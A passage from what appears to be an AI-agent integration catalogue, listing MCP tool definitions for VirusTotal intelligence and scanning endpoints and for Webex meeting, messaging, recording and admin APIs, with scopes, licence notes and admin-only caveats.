/api/v1/virus_total/intelligence/hunting_rulesets. Scopes: api. virus_total_post_intelligence_hunting_rulesets_by_id_relationships_editors (write) — Grant Livehunt ruleset edit permissions for a user or group via POST /intelligence/hunting_rulesets/{id}/relationships/editors. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/intelligence/hunting_rulesets/{id}/relationships/editors. Scopes: api. virus_total_post_intelligence_hunting_rulesets_by_id_relationships_owner (write) — Transfer Livehunt ruleset to another user via POST /intelligence/hunting_rulesets/{id}/relationships/owner. Note: The new owner must be a member of the same group the ruleset was created with. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/intelligence/hunting_rulesets/{id}/relationships/owner. Scopes: api. virus_total_post_intelligence_retrohunt_jobs (write) — Create a new Retrohunt job via POST /intelligence/retrohunt_jobs. This endpoint creates a new Retrohunt job. The request's body must have the following structure: The rules attribute is required, but notification_email, corpus and time_range are optional. You should provide notification_email if you want to receive an email notification when the job is finished, while corpus allows you to select which dataset you want to scan with your job. There are two different corpuses: "main" and "goodware". LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/intelligence/retrohunt_jobs. Scopes: api. virus_total_post_intelligence_retrohunt_jobs_by_id_abort (write) — Abort a Retrohunt job via POST /intelligence/retrohunt_jobs/{id}/abort. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/intelligence/retrohunt_jobs/{id}/abort. Scopes: api. virus_total_post_intelligence_zip_files (write) — Create a password-protected ZIP with Google Threat Intelligence files (IoC Investigation) via POST /intelligence/zip_files. Creates a ZIP file containing the files specified in the request. Optionally you can provide a password for protecting the ZIP file. The request's body must have the following structure: The response from this endpoint is the object corresponding to the newly created ZIP file. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/intelligence/zip_files. Scopes: api. virus_total_post_ip_addresses_by_ip_comments (write) — Add a comment to an IP address via POST /ip_addresses/{ip}/comments. With this endpoint you can post a comment for a given IP address. The body for the POST request must be the JSON representation of a comment object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new comments. Any word starting with # in your comment's text will be considered a tag, and added to the comment's tag attribute. Returns a Comment object. POST /api/v1/virus_total/ip_addresses/{ip}/comments. Scopes: api. virus_total_post_ip_addresses_by_ip_votes (write) — Add a vote to an IP address via POST /ip_addresses/{ip}/votes. With this endpoint you can post a vote for a given file. The body for the POST request must be the JSON representation of a vote object. Note however that you don't need to provide an ID for the object, as they are automatically generated for new votes. The verdict attribute must have be either harmless or malicious. Returns a Vote object. POST /api/v1/virus_total/ip_addresses/{ip}/votes. Scopes: api. virus_total_post_private_files_by_sha256_analyse (write) — Rescan a private file via POST /private/files/{sha256}/analyse. Reanalyses a private file. The same params from /files (other than the file) are accepted. Returns a private analysis. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/private/files/{sha256}/analyse. Scopes: api. virus_total_post_private_urls (write) — Private Scan URL via POST /private/urls. This returns an Analysis ID. The analysis can be retrieved by using the Analysis endpoint. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/private/urls. Scopes: api. virus_total_post_private_zip_files (write) — Create a password-protected ZIP with Google Threat Intelligence files (Private Scanning) via POST /private/zip_files. Creates a ZIP file containing the files specified in the request. Optionally you can provide a password for protecting the ZIP file. The request's body must have the following structure: The response from this endpoint is the object corresponding to the newly created ZIP file. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. POST /api/v1/virus_total/private/zip_files. Scopes: api. virus_total_post_urls (write) — Scan URL via POST /urls. This returns an Analysis ID. The analysis can be retrieved by using the Analysis endpoint. POST /api/v1/virus_total/urls. Scopes: api. virus_total_post_urls_by_id_analyse (write) — Request a URL rescan (re-analyze) via POST /urls/{id}/analyse. Returns a Analysis object descriptor which can be used in the GET/analyses/{id} API endpoint to get further information about the analysis status. POST /api/v1/virus_total/urls/{id}/analyse. Scopes: api. virus_total_post_urls_by_id_comments (write) — Add a comment on a URL via POST /urls/{id}/comments. With this endpoint you can post a comment for a given URL. The body for the POST request must be the JSON representation of a comment object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new comments. Any word starting with # in your comment's text will be considered a tag, and added to the comment's tag attribute. Returns a Comment object. POST /api/v1/virus_total/urls/{id}/comments. Scopes: api. virus_total_post_urls_by_id_votes (write) — Add a vote on a URL via POST /urls/{id}/votes. With this endpoint you can post a vote for a given URL. The body for the POST request must be the JSON representation of a vote object. Notice however that you don't need to provide an ID for the object, as they are automatically generated for new votes. The verdict attribute must have be either harmless or malicious. Returns a Vote object. POST /api/v1/virus_total/urls/{id}/votes. Scopes: api. ================================================================================ ## Webex URL: https://www.agenticfabriq.com/integrations/webex Section: Integrated Tools Webex — 222 MCP tools Provider key: webex. Scopes: meeting:controls_read, meeting:controls_write, meeting:participants_read, meeting:participants_write, meeting:preferences_read, meeting:preferences_write, meeting:recordings_read, meeting:recordings_write, meeting:schedules_read, meeting:schedules_write, meeting:summaries_read, meeting:summaries_write, meeting:transcripts_read, spark:memberships_read, spark:memberships_write, spark:messages_read, spark:messages_write, spark:people_read, spark:rooms_read, spark:rooms_write, spark:team_memberships_read, spark:team_memberships_write, spark:teams_read, spark:teams_write, spark:webhooks_read, spark:webhooks_write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. webex_delete_admin_meeting_config_trackingcodes_by_trackingcodeid (write, destructive) — Deletes a tracking code by an admin user. * The `siteUrl` is required. The operation deletes a tracking code for the specified site. All of a user's available Webex sites can be retrieved by the Get Site List (/docs/api/v1/meeting-preferences/get-site-list) API. * Admins can switch any Control Hu. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/admin/meeting/config/trackingCodes/{trackingCodeId}. Scopes: none. webex_delete_admin_recordings_by_recordingid (write, destructive) — Removes a recording with a specified recording ID by an admin. The deleted recording cannot be recovered. It will be inaccessible to regular users (host, attendees and shared) or an admin, but it will be still available to the Compliance Officer. Any recording on a site which is managed by the admi. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/admin/recordings/{recordingId}. Scopes: none. webex_delete_meeting_messages_by_meetingmessageid (write, destructive) — Deletes a Meeting Message from the In Meeting Chat, using its ID. This ID can be retrieved by a Compliance Officer using the events API (/docs/api/v1/events/list-events) filtering on the `meetingMessages` resource type. NOTE: When viewing the response from the events API, there are 2 `id` fields. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/meeting/messages/{meetingMessageId}. Scopes: none. webex_delete_meetinginvitees_by_meetinginviteeid (write, destructive) — Removes a meeting invitee identified by a `meetingInviteeId` specified in the URI. The deleted meeting invitee cannot be recovered. If the meeting invitee is associated with a meeting series, the invitee will be removed from the entire meeting series. If the invitee is associated with a scheduled m. DELETE /api/v1/webex/meetingInvitees/{meetingInviteeId}. Scopes: meeting:schedules_write. webex_delete_meetings_by_meetingid (write, destructive) — <div> <Callout type="warning">If only guests are waiting in the lobby and the host or cohost has not started the meeting, the meeting state remains `inProgress` for 5 minutes after the last guest leaves. The meeting cannot be deleted during this time. If the meeting is started by the host or cohost. DELETE /api/v1/webex/meetings/{meetingId}. Scopes: meeting:schedules_write. webex_delete_meetings_by_meetingid_breakoutsessions (write, destructive) — Deletes breakout sessions with a specified meeting ID. The deleted breakout sessions cannot be recovered. The value of `enabledBreakoutSessions` attribute is set to `false` automatically. This operation applies to meeting series and scheduled meetings. It doesn't apply to ended or in-progress meetin. DELETE /api/v1/webex/meetings/{meetingId}/breakoutSessions. Scopes: meeting:schedules_write. webex_delete_meetings_by_meetingid_interpreters_by_interpreterid (write, destructive) — Removes a meeting interpreter identified by `meetingId` and `interpreterId` in the URI. The deleted meeting interpreter cannot be recovered. DELETE /api/v1/webex/meetings/{meetingId}/interpreters/{interpreterId}. Scopes: meeting:schedules_write. webex_delete_meetings_by_meetingid_registrants_by_registrantid (write, destructive) — Meeting's host or cohost can delete a registrant with a specified registrant ID. DELETE /api/v1/webex/meetings/{meetingId}/registrants/{registrantId}. Scopes: meeting:schedules_write. webex_delete_meetings_by_meetingid_registration (write, destructive) — Disable the registration form for a meeting. DELETE /api/v1/webex/meetings/{meetingId}/registration. Scopes: meeting:schedules_write. webex_delete_meetings_postmeetingchats (write, destructive) — Deletes the meeting chats of a finished meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) specified by `meetingId`. Use this operation to delete the chats of a finished [meeting instance](/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/meetings/postMeetingChats. Scopes: none. webex_delete_meetingsummaries_by_summaryid (write, destructive) — Removes a summary with a specified summary ID. The deleted summary cannot be recovered. A deleted summary can not be accessed by regular users, i.e. host or attendees, but can be access by compliance officers. DELETE /api/v1/webex/meetingSummaries/{summaryId}. Scopes: meeting:summaries_write. webex_delete_meetingtranscripts_by_transcriptid (write, destructive) — Removes a transcript with a specified transcript ID. The deleted transcript cannot be recovered. If a Compliance Officer deletes another user's transcript, the transcript will be inaccessible to regular users (host, attendees), but will be still available to the Compliance Officer. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/meetingTranscripts/{transcriptId}. Scopes: none. webex_delete_memberships_by_membershipid (write, destructive) — Deletes a membership by ID. Specify the membership ID in the `membershipId` URI parameter. The membership for the last moderator of a Team (/docs/api/v1/teams)'s General space may not be deleted; promote another user (/docs/api/v1/team-memberships/update-a-team-membership) to team moderator firs. DELETE /api/v1/webex/memberships/{membershipId}. Scopes: spark:memberships_write. webex_delete_messages_by_messageid (write, destructive) — Delete a message, by message ID. Specify the message ID in the `messageId` parameter in the URI. DELETE /api/v1/webex/messages/{messageId}. Scopes: spark:messages_write. webex_delete_people_by_personid (write, destructive) — Remove a person from the system. Required Administrator Roles: The following administrators have permission to use this API: Customer Organization: - Full administrator - User administrator Partner/External Access: - External full administrator Note: External read-only administr. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. DELETE /api/v1/webex/people/{personId}. Scopes: none. webex_delete_recordings_by_recordingid (write, destructive) — Removes a recording with a specified recording ID. The deleted recording cannot be recovered. If a Compliance Officer deletes another user's recording, the recording will be inaccessible to regular users (host, attendees and shared), but will be still available to the Compliance Officer. Only recor. DELETE /api/v1/webex/recordings/{recordingId}. Scopes: meeting:recordings_write. webex_delete_room_linkedfolders_by_id (write, destructive) — Unlinks the room-linked folder with the specified ID from the space. DELETE /api/v1/webex/room/linkedFolders/{id}. Scopes: spark:rooms_write. webex_delete_room_tabs_by_id (write, destructive) — Deletes a Room Tab with the specified ID. DELETE /api/v1/webex/room/tabs/{id}. Scopes: spark:rooms_write. webex_delete_rooms_by_roomid (write, destructive) — Deletes a room, by ID. Deleted rooms cannot be recovered. As a security measure to prevent accidental deletion, when a non moderator deletes the room they are removed from the room instead. Deleting a room that is part of a team will archive the room instead. A Compliance Officer has no special pr. DELETE /api/v1/webex/rooms/{roomId}. Scopes: spark:rooms_write. webex_delete_team_memberships_by_membershipid (write, destructive) — Deletes a team membership, by ID. Specify the team membership ID in the `membershipId` URI parameter. The team membership for the last moderator of a team may not be deleted; promote another user (/docs/api/v1/team-memberships/update-a-team-membership) to team moderator first. DELETE /api/v1/webex/team/memberships/{membershipId}. Scopes: spark:team_memberships_write. webex_delete_teams_by_teamid (write, destructive) — Deletes a team, by ID. Specify the team ID in the `teamId` parameter in the URI. DELETE /api/v1/webex/teams/{teamId}. Scopes: spark:teams_write. webex_delete_webhooks_by_webhookid (write, destructive) — Deletes a webhook, by ID. Specify the webhook ID in the `webhookId` parameter in the URI. DELETE /api/v1/webex/webhooks/{webhookId}. Scopes: spark:webhooks_write. webex_get_admin_meeting_config_commonsettings (read) — Site administrators can use this API to get a list of functions, options, and privileges that are configured for their Webex service sites. * If `siteUrl` is specified, common settings of the meeting's configuration of the specified site will be queried; otherwise, the API will query from the site. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/config/commonSettings. Scopes: none. webex_get_admin_meeting_config_sessiontypes (read) — List session types for a specific site. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/config/sessionTypes. Scopes: none. webex_get_admin_meeting_config_trackingcodes (read) — Lists tracking codes on a site by an admin user. * If `siteUrl` is specified, tracking codes of the specified site will be listed; otherwise, tracking codes of the user's preferred site will be listed. All available Webex sites and the preferred sites of a user can be retrieved by the... ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/config/trackingCodes. Scopes: none. webex_get_admin_meeting_config_trackingcodes_by_trackingcodeid (read) — Retrieves details for a tracking code by an admin user. * If `siteUrl` is specified, the tracking code is retrieved from the specified site; otherwise, the tracking code is retrieved from the user's preferred site. All available Webex sites and the preferred sites of a user can be retrieved by the. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/config/trackingCodes/{trackingCodeId}. Scopes: none. webex_get_admin_meeting_userconfig_sessiontypes (read) — List session types for a specific user. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/userconfig/sessionTypes. Scopes: none. webex_get_admin_meeting_userconfig_trackingcodes (read) — Lists user's tracking codes by an admin user. * At least one parameter, either `personId`, or `email` is required. `personId` must come before `email` if both are specified. Please note that `email` is specified in the request header. * If `siteUrl` is specified, the tracking codes of the specifie. At least one of `personId` or `email` is required, and `personId` must come before `email` if both are given. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meeting/userconfig/trackingCodes. Scopes: none. webex_get_admin_meetings (read) — Retrieves details for meetings by an admin with a specified meeting number or web link. Please note that there are various products in the Webex Suite (https://www.webex.com/collaboration-suite.html) such as `Meetings` and `Events`. Currently, only meetings of the `Meetings` product are supported b. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meetings. Scopes: none. webex_get_admin_meetings_by_meetingid (read) — Retrieves details for a meeting with a specified meeting ID by an admin. The following sensitive attributes are hidden from the response: `agenda`, `hostKey`, `password`, `phoneAndVideoSystemPassword`, `panelistPassword`, `phoneAndVideoSystemPanelistPassword`, `webLink`, `sipAddress`, `dialInIpAddre. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meetings/{meetingId}. Scopes: none. webex_get_admin_meetingsummaries (read) — Lists available or deleted summaries of an ended meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) by meeting ID. This API can only be accessed by compliance officers. With this API, a compliance officer can list summaries of any ended meeting instances in hi. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meetingSummaries. Scopes: none. webex_get_admin_meetingtranscripts (read) — Lists available or deleted transcripts of an ended meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) for a specific site. The returned list is sorted in descending order by the date and time that the transcript was created. Request Header: * `timezone`. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/meetingTranscripts. Scopes: none. webex_get_admin_recordings (read) — <div><Callout type="warning">This API is still supported and behaves the same as before, but will be deprecated in the future. Due to limited support for special characters when filtering recordings by `topic`, it is recommended to use the new [Query Recordings For an Admin or Compliance Officer](/d. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/admin/recordings. Scopes: none. webex_get_attachment_actions_by_id (read) — Shows details for a attachment action, by ID. Specify the attachment action ID in the `id` URI parameter. GET /api/v1/webex/attachment/actions/{id}. Scopes: spark:messages_read. webex_get_events (read) — List events in your organization. Several query parameters are available to filter the events returned in the response. Long result sets will be split into pages (/docs/basics#pagination). COMPLIANCE OFFICER ONLY: the Events API needs spark-compliance:events_read, an organization-wide scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/events. Scopes: none. webex_get_events_by_eventid (read) — Shows details for an event, by event ID. Specify the event ID in the `eventId` parameter in the URI. COMPLIANCE OFFICER ONLY: the Events API needs spark-compliance:events_read, an organization-wide scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/events/{eventId}. Scopes: none. webex_get_group_meetings (read) — List group meetings with a specified meeting number or web link by a service app which has group meeting access. You can specify the `personId` parameter or `hostEmail` header of whom the meetings will be retrieved. Please note that there are various products in the [Webex Suite](https://www.webex.c. `personId` is required here: Webex accepts either `personId` or a `hostEmail` request header, and this integration sends no headers. GROUP ADMINISTRATOR ONLY: Webex documents this operation for meeting:group_meeting_read/write, which this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/group/meetings. Scopes: none. webex_get_group_recordings (read) — List group recordings for a service app which has group recording access. You can specify a date range, the maximum number of recordings to return, and `personId` or `hostEmail` of whom the recordings will be retrieved. * The list returned is sorted in descending order by the date and time that the. `personId` is required here: Webex accepts either `personId` or a `hostEmail` request header, and this integration sends no headers. GROUP ADMINISTRATOR ONLY: Webex documents this operation for meeting:group_meeting_read/write, which this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/group/recordings. Scopes: none. webex_get_group_recordings_by_recordingid (read) — Retrieves details for a group recording for a service app which has group recording access. * Only recordings which are in the `available` status and not shared by others can be listed. Those in the `deleted` or `purged` status or shared by others can't be listed. * One of the `personId` parameter. `personId` is required here: Webex accepts either `personId` or a `hostEmail` request header, and this integration sends no headers. GROUP ADMINISTRATOR ONLY: Webex documents this operation for meeting:group_meeting_read/write, which this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/group/recordings/{recordingId}. Scopes: none. webex_get_hds_clusters_by_clusterid (read) — Retrieve details for a specific Hybrid Data Security cluster, such as the cluster name, cluster status, upgrade schedule, and Hybrid Data Security nodes in the cluster. To obtain the Cluster ID needed for this API, use the Get organization details API (</docs/api/v1/hds/get-organization-details>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/clusters/{clusterId}. Scopes: none. webex_get_hds_clusters_by_clusterid_availability (read) — Get the availability details for an Hybrid Data Security cluster, where each segment specifies the start and end times, as well as the number of online, offline, and total nodes within that segment. To obtain the Cluster ID needed for this API, use the [Get organization details API](</docs/api/v1/hd. ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/clusters/{clusterId}/availability. Scopes: none. webex_get_hds_clusters_by_clusterid_nodes (read) — Retrieve a list of all nodes for a specific Hybrid Data Security cluster, including availability, proxy details, deployment type, and release version. To obtain the Cluster ID needed for this API, use the [List clusters for an Hybrid Data Security organization API](</docs/api/v1/hds/list-hds-organiz. ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/clusters/{clusterId}/nodes. Scopes: none. webex_get_hds_nodes_by_nodeid (read) — Retrieve details for a specific Hybrid Data Security node, such as host name, release version, proxy details, deployment and build type, availability details, etc. To obtain the Node ID needed for this API, use the Get cluster details API (</docs/api/v1/hds/get-cluster-details>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/nodes/{nodeId}. Scopes: none. webex_get_hds_nodes_by_nodeid_alarms (read) — Returns the alarm details for a single Hybrid Data Security node for the provided time range (last 24 hours). To obtain the Node ID needed for this API, use the List nodes for an Hybrid Data Security cluster API (</docs/api/v1/hds/list-hds-cluster-nodes>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/nodes/{nodeId}/alarms. Scopes: none. webex_get_hds_nodes_by_nodeid_resourceusage (read) — Retrieve CPU, memory, and disk resource usage details for a specific Hybrid Data Security node over the requested time range. To obtain the Node ID needed for this API, use the List nodes for an Hybrid Data Security cluster API (</docs/api/v1/hds/list-hds-cluster-nodes>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/nodes/{nodeId}/resourceUsage. Scopes: none. webex_get_hds_organizations_by_organizationid (read) — Retrieve details for an Hybrid Data Security organization, such as the organization name, type of organization. To obtain the Organization ID needed for this API, use the Organizations API (</docs/api/v1/organizations/list-organizations>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/organizations/{organizationId}. Scopes: none. webex_get_hds_organizations_by_organizationid_clusters (read) — Retrieve a list of all clusters for a specific Hybrid Data Security organization, including cluster status, release channel, and upgrade schedule details. To obtain the Organization ID needed for this API, use the Organizations API (</docs/api/v1/organizations/list-organizations>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/organizations/{organizationId}/clusters. Scopes: none. webex_get_hds_organizations_by_organizationid_database (read) — Retrieve details of database information for an Hybrid Data Security organization, such as database type and version used. To obtain the Organization ID needed for this API, use the Organizations API (</docs/api/v1/organizations/list-organizations>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/organizations/{organizationId}/database. Scopes: none. webex_get_hds_organizations_by_organizationid_tenants (read) — Retrieve details of Multi-Tenant Hybrid Data Security organization such as Organization Name and ID, CMK state and state of Tenants Organizations. To obtain the Organization ID needed for this API, use the Organizations API (</docs/api/v1/organizations/list-organizations>). ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/organizations/{organizationId}/tenants. Scopes: none. webex_get_hds_testresults_nodes_by_nodeid_networktest (read) — Get the latest results of the network tests triggered for a single Hybrid Data Security node. The test results are generated as part of the Network Test execution on the node. The network tests include the Bandwidth Test, DNS Resolution Test, and HTTPS Connectivity Test. The results from the latest. ORGANIZATION ADMINISTRATOR ONLY: Hybrid Data Security is an org-level deployment surface and needs a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/hds/testResults/nodes/{nodeId}/networkTest. Scopes: none. webex_get_meetingclosedcaptions (read) — Lists closed captions of a finished meeting instance (/docs/meetings#meeting-series-scheduled-meetings-and-meeting-instances) specified by `meetingId`. * Closed captions are ready 15 minutes after the meeting is finished. * Only meeting instances in state `ended` are supported for `meetingId`. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetingClosedCaptions. Scopes: none. webex_get_meetingclosedcaptions_by_closedcaptionid_download (read) — Download meeting closed caption snippets from the meeting closed caption specified by `closedCaptionId` formatted either as a Video Text Track (.vtt) file or plain text (.txt) file. Request Header: * `timezone`: *Time zone (https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List) fo. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetingClosedCaptions/{closedCaptionId}/download. Scopes: none. webex_get_meetingclosedcaptions_by_closedcaptionid_snippets (read) — Lists snippets of a meeting closed caption specified by `closedCaptionId`. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. GET /api/v1/webex/meetingClosedCaptions/{closedCaptionId}/snippets. Scopes: none. webex_get_meetinginvitees (read) — Lists meeting invitees for a meeting with a specified `meetingId`. You can set a maximum number of invitees to return. This operation can be used for meeting series, scheduled meetings, and ended or ongoing meeting instance objects. If the specified `meetingId` is for a 